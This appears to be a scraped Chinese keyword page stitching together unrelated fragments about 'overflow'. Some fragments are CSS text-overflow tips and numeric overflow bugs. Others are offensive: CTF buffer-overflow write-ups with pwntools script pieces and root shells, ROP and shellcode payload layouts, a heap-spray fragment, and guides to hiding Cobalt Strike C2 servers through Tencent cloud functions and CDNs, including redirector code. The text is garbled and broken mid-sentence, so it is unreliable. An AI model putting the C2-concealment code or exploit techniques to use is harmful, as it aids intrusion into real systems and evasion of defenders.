多行溢出组件 <template>
在某些段落中,页面要求文字只显示一行,但是width固定,而文字过长,就会出现一个需求,超过长度限制的文字被隐藏且显示省略号,css 支持这样的属性。 单行文本溢出隐藏 div{ overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } 多行文本溢出隐藏 div { flex布局是前端写代码经常使用的一种布局方式,简单便捷且有效,但是在使用flex布局的元素中不能同时使用文字溢出隐藏,也就是两者不能同时出现在同一标签中。 这里,我们也有对应的解决办法。 只要保证flex布局和隐藏的样式不在同级元素中就可以,所以在文字外部多包裹一层标签。 可以采用下面这段代码的写法;
<! -- 这一层的标签我们引入文字过长隐藏的样式 -->
♪ p 标签限制行数 CSS实现单行、多行文本溢出显示省略号(…) .p-article-abstract{ display: -webkit-box; -webkit-box-orient : vertical; -webkit-line-clamp: 2; overflow: hidden; } ? 可参考:CSS实现文章 ♫ div 限制高度 隐藏溢出的内容 有时因为div中的内容过多,会叠加显示,造成布局的混乱,这种情况下,可以尝试进行下面的限制. .div-article-view{
一. overflow:hidden 溢出隐藏
给一个元素中设置overflow:hidden,那么该元素的内容若超出了给定的宽度和高度属性,那么超出的部分将会被隐藏,不占位。 style type="text/css">
div{ width: 150px; height: 60px; background: skyblue;
overflow: hidden; /*溢出隐藏
可以用JQuery插件更好的实现文本溢出隐藏效果,可以访问:jQuery.dotdotdot多行文本省略号插件的使用方法 在CSS3中可以使用 text-overflow 对文本溢出进行处理: clip :(默认值),文本溢出部分裁切。 ellipsis : 溢出显示 ... tip : 设置 ellipsis 时需将给元素设置 overflow: hidden; 和 white-space: nowrap; ,仅限于单行文本溢出。 代码如下: .page2{ width: 300px; height: 65px; border: 1px solid cyan; overflow
在前端开发页面的过程中,有时候需要对段落文字进行溢出隐藏处理,特别是在内容较长的情况下。 这篇文章将详细讲解如何使用CSS实现多行文字的溢出隐藏,再想到解决方法之前,你会觉得很麻烦,但有了这篇文章,你再也不用烦恼如何实现段落多行文本溢出隐藏的问题了! -webkit-line-clamp: 2;:设置最大显示的行数,这里设置为2行。 overflow: hidden;:隐藏超出容器的内容。 text-overflow: ellipsis;:在溢出隐藏时显示省略号。 如果你需要对多行文本进行溢出隐藏处理,推荐使用这种方法。 希望这篇文章对你有所帮助!如果有任何疑问或需要进一步的解释,欢迎在评论区留言讨论。
之前一篇文章<<一种栈溢出的场景分析和建议>>中,本人分享了如何查找程序Crash的函数调用栈,然后通过代码审查找到栈溢出的原因。 那么针对上面这两点,都需要一个东西去做辅助分析,那就是触发栈溢出的输入内容(这的所谓输入内容不是指用户在交互界面输入,而是指触发这个栈溢出的数据),无论是自己用这个输入内容来调试栈溢出的触发逻辑,或者是交给第三方库的支持方 实际真实的工程代码也是类似,并不是栈溢出问题必现,而是在特定的情况下才会触发,这也是为什么本文强调的是如何获取触发栈溢出的输入数据如此重要,因为调试问题离不开它。 _imp_NtWriteFile (00007fff`d11f2fa8)] ds:00007fff`d11f2fa8={ntdll! __scrt_common_main_seh+0x10c [d:\agent\_work\2\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl
还用老套路,利用edb-debugger分析程序运行的流程,找到可溢出的部分。 打开edb后,发现除了调用系统函数外,还调用了一个叫levelTwo!hello的函数,在此处设置端点并执行。 ? hello函数的内容,这里调用了strcpy函数,从昨天的内容可知,strcpy没有对数据长度进行检测,过长的数据会导致越界,将其它的数据覆盖,看来这里就是可溢出的部分了。 执行下一条指令,查看栈内容,栈顶地址为ffffd2ec,值为56556286,没问题 ? 继续执行到printf之后,ret之前的断点,查看ffffd2ec处的值,已经变成了41414141,说明溢出已经成功,返回地址已经被修改 ? 执行一下,已经获得了root的shell,进入/home/level2目录,得到了level2的密码和levelThree的可执行文件 ?
ret2text 0x1、程序信息 描述 内容 程序名称 pwn1 图片 0x3、检测漏洞函数 1.将程序载入到ida中,找到main函数,下方有一个vuln函数,跟随进去看看 图片 2.漏洞利用点在scanf函数上,未控制缓冲区大小,输入超过16个字符缓冲区将溢出 图片 0x4、确定偏移量 1.在上面的vuln函数中我们可以看到,v1变量与rbp的偏移量是0x10,也就是16字节 2.为了验证IDA帮我们分析出来的这个偏移量是正确的,我们决定用动态调试方法进行确定 图片 shell 图片 2.看它的反汇编复制它的地址(0x400686),作为我们溢出后返回的位置 图片 0x6、编写利用脚本 #! Input:",payload) # 获取交互式shell环境 io.interactive() 0x7、调试观察 1.我们在vuln函数的leave指令处下一个断点,准备动态调试观察栈信息 图片 2.
所以我们需要加密流量保护CS服务器以免被防守方的安全监控检测出来甚至溯源我们的CS服务器,目前常用的隐藏手段包括域前置、CDN、云函数等,接下来我将介绍这几种常见的隐藏C2的方式。 因此我们可以通过云函数的特性来隐藏CS服务端。 CS 服务器定制 malleable C2 以用于隐藏流量。 可以发现我们的CS上又出现一台主机在微步云沙箱中可以清晰地看到请求域名为腾讯云域名同时IP地址为腾讯云的IDC服务器,而不是我们真正的CS服务器IP地址,说明CS服务器已成功隐藏。 ,就像CDN在设计之初主要用于保护网站的真实IP,但作为攻击者我们也可以使用它来保护我们的C2服务器;而使用OpenSSL生成的RSA证书除了身份验证以外也能够帮助攻击者加密流量、隐藏通信。
受页面模块宽度的的限制,一般需要对li进行文本内容溢出隐藏处理,实现更加合理的排版。 从而实现文本溢出自动隐藏。Chrome下还需要补充vertical-align: top;或者vertical-align: middle;来达到li标签和a标签在同一行内问题。
比如 int ,char 会 溢出,float 会 有 溢出 以及 精度 不准确的 情况。 所以 我们 在 开发 中 须要 特别 注意 这些事。 会 打印 编译 错误的 log (2) 浮点型 溢出问题,这样的 问题 会 比較 难解决,我也是 慢慢试出来的 首先 看看 shader 精度的 一些 最低范围 以下 是我的 部分 shader 源代码 ; uniform float u_radius; uniform vec2 u_touchPos; uniform vec2 u_bgSize; uniform sampler2D CC_Texture0 我预计 它 的 形式 大致 是 这种 float distance(vec2 pos1, vec2 pos2){ vec3 sub = pos1 – pos2; return sqrt(sub.x * 代码), 所以 float 的 范围 在-16384 ~ 16384 之间, 当 两个 百位数 相乘 非常有可能 造成 溢出。
本文简要介绍左移导致的溢出问题。 实际项目中需要计算SD卡中某个目录的大小,并判断该目录所占空间是否超过SD卡总容量的一半。 排查发现原来是计算的时候移位导致了溢出。 2位) 15837691904对应的二进制:001110110000000000000000000000000000(30208左移19位,无溢出) 错误的代码中虽然进行了强制类型转换,但是转换发生在移位后 ,所以无法避免溢出。 正确的代码先进行了类型提升,然后再移位,可以避免溢出。 这点从汇编代码中可以看出。
可以看到做了一定的限制 图一修改,防止因为end的问题,导致 content_length-end后的结果为负数,最后的结果无论如何都是0,而不会是负数了,对cache文件的读取也只能从0开始 图二修改,防止溢出后小于了 size后绕过判断 正常情况下,如果我们 传入一串完整的range,那么他会检查 start,保证不会溢出为负值 ? 因为前面算的end的值是大于文件长度的,所以在这里会被强行等于原始文件的长度,那么到后面计算的时候 就会变成了 7877-(-600)=7877+600=8477 因为需要整数溢出,所以最后size的值得是 0x8000000000000000,所以我们给的第二个range值要在这个基础上计算 那么 0x8000000000000000-8477的值就是range2的值了 这里计算出来的结果是 9223372036854767331 所以就相当于是 range2+range1,最后的值刚好就能整数溢出了 ?
溢出漏洞是一种计算机程序的可更正性缺陷。 溢出漏洞的全名:缓冲区溢出漏洞 因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。 它一般是由于编成人员的疏忽造成的。 具体的讲,溢出漏洞是由于程序中的某个或某些输入函数(使用者输入参数)对所接收数据的边界验证不严密而造成。 根据这个原理,恶意使用者就可以构造出溢出程序。
启动云函数 * 在腾讯云控制台搜索云函数,在函数服务->函数管理进行新建->自定义 image.png // **坑点一:**要根据cs监听类型http/https在脚本内填入c2服务器地址 ``` py3代码 # -*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context): C2='http ://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~ path=event['path'] headers=event['headers'] print(event) if * 这儿没做cs马的免杀,关了defender(被干的太惨了),选择https的监听方式,直接上线,sleep调到0发现监听ip会一直变动,配置生效 image.png ## * 总结 * 云函数隐藏 C2原理 马 -> 腾讯云函数api -> py函数 -> CS服务端 CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对
(尝试覆盖上述第2步) shellcode 修改返回地址,让其指向溢出数据中的一段指令 return2libc 修改返回地址,让其指向内存中已有的某个函数 ROP 修改返回地址,让其指向内存中已有的一段指令 溢出数据的构造 payload:padding1 + address of shellcode + padding2 + shellcode padding1 处的数据可以随意填充,长度应该刚好覆盖函数的基地址 这就包括return2libc 和ROP两种方法。 可能需要参数,所以溢出数据也要包括必要的参数。 执行多个gadget时,溢出数据应该以下面的方式构造: payload : padding + address of gadget 1 + address of gadget 2 + …… + address
ItemSize : Width=0;Height=1;//Height好象不能设为0,但也就那么一丁点儿,不影响
2. 两种分配的内存地址都是高度可预测的。 随机 2 个字节) 712da25b mov eax,dword ptr [ecx] ; ptr2 -> ptr3 (eax) 712da25d 调用 dword ptr [eax] ; ptr3 别的 intArr[i] = 0x3c3c3c3c;// 否则,ptr1 } // part2: ptr2 读取 页面大小的图案就足够了 因为我们只想泄漏大约 2 个字节的堆栈地址。 2.接下来,我们根据喷射循环计数器计算所有模式值 如下: i_pattern = i*4%0x1000; 3. 11b3dfe4 04e04c2c ; 看起来不错: 0:007> dds 04e04c2c 04e04c2c 6f6e44b8 msxml6!
果然没错,根据HOST头进行定位,那么这样就可以按照CDN上线的方式进行配置监听: 生成一下CS马子并且执行: 执行一下命令: 在微步中看看分析: 看看转发的监听: 完美隐藏 当然你甚至还可以把C2管理端口使用不同工具映射出来。。。。 开源地址:https://github.com/SpringHgui/FastTunnel 后记 后面大家可以尝试一些新的东西,比如我自己想到: 利用 proxychains4 对你出口的流量进行隐藏